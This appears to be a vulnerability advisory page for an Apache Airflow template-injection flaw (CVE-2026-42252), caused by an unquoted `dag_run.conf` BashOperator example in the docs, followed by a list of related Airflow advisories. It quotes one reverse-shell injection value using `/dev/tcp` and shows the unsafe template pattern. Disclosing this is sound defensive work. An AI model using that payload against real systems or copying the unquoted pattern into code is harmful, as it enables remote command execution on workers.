Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
Critical9.1CVE-2026-42252 · Published Jun 1, 2026 · updated Jul 9, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| apache-airflow PyPI | >= 3.0.0, < 3.2.2 | 3.2.2 |
Details and references
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 , the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-1336
- Also known as
- BIT-airflow-2026-42252, CVE-2026-42252, PYSEC-2026-184
More Apache Airflow advisories
All Apache Airflow| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 1 | Apache Airflow: Incomplete redaction allowlist exposes secrets in Connection `extra` to read-permitted users CVE-2026-45192Medium6.5fixed in 3.2.2 | Medium6.5 | 3.2.2 |
| Jun 1 | Apache Airflow: Authenticated users can bypass the `is_safe_url` check CVE-2026-40961High7.2fixed in 3.2.2 | High7.2 | 3.2.2 |
| Jun 1 | Apache Airflow has a Link Following issue CVE-2026-40861Medium6.5fixed in 3.2.2 | Medium6.5 | 3.2.2 |
| Jun 1 | Apache Airflow has a Sensitive Cookie in HTTPS Session Without 'Secure' Attribute CVE-2026-41017Medium5.9fixed in 3.2.2 | Medium5.9 | 3.2.2 |
| Jun 1 | Apache Airflow has an Improper Authorization issue CVE-2026-40963Low3.1fixed in 3.2.2 | Low3.1 | 3.2.2 |
| Jun 1 | Apache Airflow has a Missing Authorization issue CVE-2026-41014Medium4.3fixed in 3.2.2 | Medium4.3 | 3.2.2 |